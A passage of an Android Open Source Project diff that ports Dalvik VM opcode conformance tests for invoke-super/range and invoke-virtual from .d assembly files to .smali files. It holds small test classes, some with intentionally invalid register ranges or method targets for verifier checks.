+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..3d59d7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/T_invoke_super_range_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/T_invoke_super_range_28.smali
new file mode 100644
index 0000000..725fdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28.smalis/T_invoke_super_range_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_28;
+.super Ljava/lang/Object;
+.source "T_invoke_super_range_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super_range/d/ITestConflict;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super/range {p0 .. p0}, Ldot/junit/opcodes/invoke_super_range/d/ITestConflict;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.d
deleted file mode 100644
index eb1a1f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_4.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_4
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4/toIntNative()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali
new file mode 100644
index 0000000..2394cae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_4.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4;->toIntNative()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.d
deleted file mode 100644
index bf38cab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_5.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_5
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/TSuper/toIntStatic()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali
new file mode 100644
index 0000000..995a333
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;->toIntStatic()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.d
deleted file mode 100644
index bb9161c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_6.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_6
-.super dot/junit/opcodes/invoke_super_range/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali
new file mode 100644
index 0000000..11b46c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6;
+.super  Ldot/junit/opcodes/invoke_super_range/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.d
deleted file mode 100644
index f170aac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_7.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_7
-.super dot/junit/opcodes/invoke_super_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super/range {v2}, dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali
new file mode 100644
index 0000000..34bca35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.d
deleted file mode 100644
index ed4d3ab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_8.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-     
-       invoke-super/range {v6..v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali
new file mode 100644
index 0000000..476b480
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+     
+       invoke-super/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.d
deleted file mode 100644
index e97d513..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_range_9.java
-.class public dot.junit.opcodes.invoke_super_range.d.T_invoke_super_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super/range {v7..v8}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali
new file mode 100644
index 0000000..4e123c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super/range {v7..v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.d
deleted file mode 100644
index f0328ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_virtual.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali
new file mode 100644
index 0000000..4ef0b1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.smali
new file mode 100644
index 0000000..b3c7caf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper.smali
@@ -0,0 +1,84 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.d
deleted file mode 100644
index 2137c4c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_virtual.d.TSuper2
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali
new file mode 100644
index 0000000..892f503
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.d
deleted file mode 100644
index 3192c0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_1.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali
new file mode 100644
index 0000000..7002877
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_1.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.d
deleted file mode 100644
index 2c5c909..0000000
